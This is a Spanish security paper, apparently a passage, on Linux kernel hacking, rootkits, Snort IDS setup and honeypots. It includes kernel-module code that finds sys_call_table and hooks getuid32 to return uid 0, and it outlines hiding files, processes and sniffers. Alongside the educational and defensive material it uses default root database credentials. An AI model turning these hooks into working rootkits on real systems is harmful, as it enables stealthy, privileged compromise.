Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
